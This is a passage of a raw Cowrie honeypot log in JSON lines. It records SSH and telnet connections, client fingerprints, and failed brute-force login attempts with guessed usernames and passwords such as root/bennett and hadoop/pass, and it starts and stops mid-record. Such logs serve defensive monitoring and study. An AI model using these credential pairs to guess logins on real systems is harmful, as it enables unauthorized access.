m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:04.827165Z","src_ip":"38.93.206.2","session":"4450fbbc8766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bennett","message":"login attempt [root/bennett] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:05.021287Z","src_ip":"38.93.206.2","session":"4450fbbc8766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"pass","message":"login attempt [hadoop/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:05.064078Z","src_ip":"91.92.40.4","session":"c7dfae1e512f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:06.073610Z","src_ip":"38.93.206.2","session":"4450fbbc8766","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:06.147932Z","src_ip":"91.92.40.4","session":"c7dfae1e512f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":50362,"dst_ip":"159.203.135.109","dst_port":22,"session":"32e615df672a","protocol":"ssh","message":"New connection: 154.16.115.34:50362 (159.203.135.109:22) [session: 32e615df672a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:15.338691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:15.341564Z","src_ip":"154.16.115.34","session":"32e615df672a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:15.367024Z","src_ip":"154.16.115.34","session":"32e615df672a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strk123","message":"login attempt [root/strk123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:15.444984Z","src_ip":"154.16.115.34","session":"32e615df672a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:16.473537Z","src_ip":"154.16.115.34","session":"32e615df672a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":46098,"dst_ip":"159.203.135.109","dst_port":22,"session":"9497fe152b75","protocol":"ssh","message":"New connection: 182.93.7.194:46098 (159.203.135.109:22) [session: 9497fe152b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:28.995761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:28.999933Z","src_ip":"182.93.7.194","session":"9497fe152b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:29.221618Z","src_ip":"182.93.7.194","session":"9497fe152b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:30.069802Z","src_ip":"8.210.75.243","session":"07b6fc221d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pai","password":"123456","message":"login attempt [pai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:30.132005Z","src_ip":"182.93.7.194","session":"9497fe152b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:31.349052Z","src_ip":"182.93.7.194","session":"9497fe152b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":43986,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5ac1363ebc","protocol":"ssh","message":"New connection: 8.210.75.243:43986 (10.17.0.5:22) [session: 3b5ac1363ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:55.114424Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:56.843275Z","src_ip":"8.210.75.243","session":"35b597f512bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45364,"dst_ip":"159.203.135.109","dst_port":23,"session":"57d702fcc284","protocol":"telnet","message":"New connection: 170.64.224.25:45364 (159.203.135.109:23) [session: 57d702fcc284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:01.162148Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56088,"dst_ip":"10.17.0.5","dst_port":22,"session":"f797ea5f8690","protocol":"ssh","message":"New connection: 8.210.75.243:56088 (10.17.0.5:22) [session: f797ea5f8690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:20.977253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:21.339588Z","src_ip":"8.210.75.243","session":"f797ea5f8690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:22.181192Z","src_ip":"8.210.75.243","session":"f797ea5f8690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:28.077807Z","src_ip":"8.210.75.243","session":"f797ea5f8690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:30.805712Z","src_ip":"8.210.75.243","session":"f797ea5f8690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":39956,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c5e490d0f3a","protocol":"ssh","message":"New connection: 8.210.75.243:39956 (10.17.0.5:22) [session: 9c5e490d0f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:33.644770Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52046,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd8d9d30b31","protocol":"ssh","message":"New connection: 8.210.75.243:52046 (10.17.0.5:22) [session: afd8d9d30b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:45.301057Z"}
{"eventid":"cowrie.session.closed","duration":50.43986415863037,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:36:51.601886Z","src_ip":"170.64.224.25","session":"57d702fcc284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36472,"dst_ip":"159.203.135.109","dst_port":22,"session":"635d52e5146b","protocol":"ssh","message":"New connection: 87.251.79.125:36472 (159.203.135.109:22) [session: 635d52e5146b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:09.210975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:09.214686Z","src_ip":"87.251.79.125","session":"635d52e5146b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:09.281372Z","src_ip":"87.251.79.125","session":"635d52e5146b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arina1","message":"login attempt [root/arina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:09.483692Z","src_ip":"87.251.79.125","session":"635d52e5146b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:10.558522Z","src_ip":"87.251.79.125","session":"635d52e5146b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":35952,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d0e34d29d0","protocol":"ssh","message":"New connection: 8.210.75.243:35952 (10.17.0.5:22) [session: 75d0e34d29d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:19.772875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:20.835368Z","src_ip":"8.210.75.243","session":"75d0e34d29d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47158,"dst_ip":"159.203.135.109","dst_port":23,"session":"2772cdd999ac","protocol":"telnet","message":"New connection: 170.64.224.25:47158 (159.203.135.109:23) [session: 2772cdd999ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:28.659402Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":45058,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0b1ffef152","protocol":"ssh","message":"New connection: 159.65.58.200:45058 (159.203.135.109:22) [session: 2f0b1ffef152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:33.098777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:33.412936Z","src_ip":"159.65.58.200","session":"2f0b1ffef152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:33.415654Z","src_ip":"159.65.58.200","session":"2f0b1ffef152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"schetin","password":"123456","message":"login attempt [schetin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:34.718914Z","src_ip":"159.65.58.200","session":"2f0b1ffef152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":55790,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbdc78ae84cf","protocol":"ssh","message":"New connection: 185.242.3.195:55790 (10.17.0.5:22) [session: cbdc78ae84cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:35.211391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:35.215242Z","src_ip":"185.242.3.195","session":"cbdc78ae84cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:35.306545Z","src_ip":"185.242.3.195","session":"cbdc78ae84cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq!xsw@","message":"login attempt [root/zaq!xsw@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:35.569915Z","src_ip":"185.242.3.195","session":"cbdc78ae84cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:36.023582Z","src_ip":"159.65.58.200","session":"2f0b1ffef152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:36.659496Z","src_ip":"185.242.3.195","session":"cbdc78ae84cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:55.128454Z","src_ip":"8.210.75.243","session":"3b5ac1363ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60494,"dst_ip":"159.203.135.109","dst_port":23,"session":"678db273a231","protocol":"telnet","message":"New connection: 170.64.224.25:60494 (159.203.135.109:23) [session: 678db273a231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:37:58.469952Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.210.105","src_port":54899,"dst_ip":"10.17.0.5","dst_port":23,"session":"d917965fc7d1","protocol":"telnet","message":"New connection: 172.104.210.105:54899 (10.17.0.5:23) [session: d917965fc7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:11.556968Z"}
{"eventid":"cowrie.session.closed","duration":0.3502647876739502,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:11.906926Z","src_ip":"172.104.210.105","session":"d917965fc7d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":57584,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e4a47bc37f7","protocol":"ssh","message":"New connection: 162.240.218.183:57584 (10.17.0.5:22) [session: 9e4a47bc37f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:23.005301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:38:23.009157Z","src_ip":"162.240.218.183","session":"9e4a47bc37f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa